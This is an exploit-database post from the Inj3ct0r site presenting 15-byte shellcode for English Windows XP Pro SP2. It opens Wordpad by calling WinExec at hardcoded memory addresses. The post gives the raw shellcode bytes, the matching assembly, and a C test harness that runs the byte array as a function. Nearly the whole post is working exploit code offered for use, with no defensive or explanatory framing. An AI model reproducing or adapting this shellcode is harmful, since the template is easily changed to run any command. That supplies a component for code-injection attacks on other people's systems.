Windows XP Pro Sp2 English "Wordpad" Shellcode (15 bytes)

                                                =========================================================
Windows XP Pro Sp2 English "Wordpad" Shellcode (15 bytes) 
=========================================================

1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0                          
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By   : Inj3ct0r
#[+] Site            : Inj3ct0r.com
#[+] support e-mail  : submit[at]inj3ct0r.com


Size  : 15 Bytes.

Shellcode = "\x6A\x05\x68\x97\x4C\x80\x7C\xB8"
            "\x4D\x11\x86\x7C\xFF\xD0\xCC";


+-----------+
| Asm Code: |
+-----------+

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
start:
      push 5
 push 7c804c97h    ;addr of "write" string in mem
 mov eax,7c86114dh ;addr of "WinExec" Function.
 call eax
 int 3h
end start
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

+-----------------+
| Shellcodetest.c |
+-----------------+

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
char code[] = "\x6A\x05\x68\x97\x4C"
              "\x80\x7C\xB8\x4D\x11"
              "\x86\x7C\xFF\xD0\xCC";

int main(int argc, char **argv)
{
  
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~


ThE End =]  Visit my proj3ct  :

http://inj3ct0r.com
http://inj3ct0r.org
http://inj3ct0r.net


# ~  - [ [ : Inj3ct0r : ] ]